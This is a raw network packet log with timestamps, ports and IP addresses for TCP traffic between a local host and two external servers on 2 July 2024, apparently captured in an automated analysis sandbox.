Jul 2, 2024 22:52:22.314416885 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314512968 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314519882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314528942 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314536095 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314543009 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314549923 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314609051 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314615965 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314623117 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314625978 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314676046 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314688921 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314831972 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314918995 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314927101 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.314961910 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315095901 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315205097 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315362930 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315371037 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315378904 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315386057 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315392971 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315401077 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315473080 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315480947 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315486908 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315495014 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315502882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315510035 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315517902 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315596104 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315723896 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315731049 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315737963 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315745115 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.315907955 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.315988064 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.319325924 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319468975 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319513083 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319520950 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319528103 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319535971 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319542885 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319550037 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319559097 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319566011 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319592953 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319602013 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319610119 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319617987 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319741011 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319749117 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319756985 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319765091 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319772005 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319902897 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319911003 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319919109 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319926023 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.319933891 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320018053 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320025921 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320033073 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320040941 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320410013 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320453882 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320641994 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320651054 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320835114 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320842981 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320849895 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.320852995 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.367229939 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.367731094 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.368112087 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.372737885 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373439074 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373480082 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373487949 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373496056 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373615026 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373621941 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373629093 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373636961 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373644114 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373651028 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373701096 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373795033 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373801947 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373805046 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.373871088 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.398420095 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.404038906 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.926825047 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:22.927289009 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:22.932109118 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:23.087137938 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:23.087919950 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:23.092825890 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:23.248733997 CEST	43674	49704	147.45.78.229	192.168.2.5
Jul 2, 2024 22:52:23.304533005 CEST	49704	43674	192.168.2.5	147.45.78.229
Jul 2, 2024 22:52:23.305131912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.310028076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.310094118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.311242104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.316204071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885660887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885678053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885688066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885744095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885755062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885770082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.885785103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885797024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.885842085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.885858059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.886364937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.886375904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.886387110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.886410952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.886428118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.890647888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.941061974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.941127062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.941159964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.974518061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974533081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974545956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974632978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.974670887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.974730015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974741936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974797010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.974912882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974922895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974934101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.974982977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.975287914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.975313902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.975325108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.975337982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.975370884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.975529909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.975541115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.975580931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.976191044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.976217031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.976227045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.976258993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.976382971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.976397991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.976445913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.979588032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.979598045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.979609013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:23.979635954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:23.979659081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.063380957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063397884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063410044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063431025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063544989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.063544989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.063608885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063621998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063632011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063653946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.063851118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063862085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063899040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.063963890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.063975096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.064021111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.064188004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.064198971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.064239979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.065078974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065088987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065102100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065148115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.065174103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.065304995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065315962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065326929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065337896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065346956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.065383911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.065701962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065712929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065721989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065732002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.065758944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.065781116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.066068888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066093922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066104889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066117048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066127062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066133976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.066137075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066147089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066155910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066158056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.066171885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.066200972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.066817999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066906929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066916943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066927910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066936970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066941023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.066948891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066957951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.066958904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066970110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.066983938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.067017078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.067615986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.067626953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.067663908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.067883968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.067895889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.067934990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.068676949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.117168903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.153865099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154022932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154033899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154175043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154184103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154186964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.154195070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154206038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154218912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.154226065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.154567957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154577971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154587984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154613018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.154639959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.154898882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.154999971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155010939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155019999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155030012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155040026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155055046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.155087948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.155530930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155541897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155553102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155563116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155571938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155580997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.155582905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.155599117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.155622959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.156177998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156188011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156198025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156208038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156218052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156228065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156238079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156250000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.156275034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.156867981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156877995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156888008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156899929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.156915903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.156927109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.157273054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157284021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157294035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157315969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.157331944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.157340050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157351017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157360077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157370090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157382965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.157390118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.157407045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.158271074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158282042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158289909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158299923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158310890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158318043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.158322096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158332109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158341885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158349991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.158350945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.158370018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.158389091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.159101963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159179926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159189939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159200907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159209967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159221888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.159230947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.159590960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159600019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159609079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159631968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159636021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.159641981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159651041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159657001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.159660101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159670115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.159687996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.159714937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.160489082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.160501003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.160510063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.160532951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.160559893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.242037058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242130995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242141008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242305994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242316961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242326975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242337942 CEST	80	49712	77.221.149.185	192.168.2.5
